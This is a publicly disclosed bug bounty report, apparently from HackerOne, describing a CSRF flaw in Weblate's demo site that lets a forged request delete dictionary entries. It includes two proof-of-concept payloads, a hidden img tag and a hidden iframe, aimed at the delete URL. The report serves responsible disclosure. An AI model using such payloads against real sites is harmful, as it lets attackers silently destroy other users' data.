HexBrain
Open on HackerOneSign in

Weblate · Report #230863

CSRF bypass ( Delate Source Translation From dictionaries ) in demo.weblate.org

Validstatus
mediumseverity
4upvotes
2 Jun 2017disclosed

How it was found

Hello

I've Found CSRF in https://demo.weblate.org Sending a POST request dictionaries will delate successfully

steps to reproduce:

  1. go https://demo.weblate.org/ and login into your account
  2. now go https://demo.weblate.org/dictionaries/hello/sl/
  3. add new word, now delate it by CSRF

i made two exploit for attack

POC:

<img src="https://demo.weblate.org/delete-dictionaries/hello/sl/5545/" width=0 height=0>

POC:

<!DOCTYPE html> <html> <body> <iframe src="https://demo.weblate.org/delete-dictionaries/hello/sl/5545/" style="display:none;"> </iframe> </body> </html>

Just replace the delate id, and try to delate

if you need more info please let me know!

be safe

Thanks

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original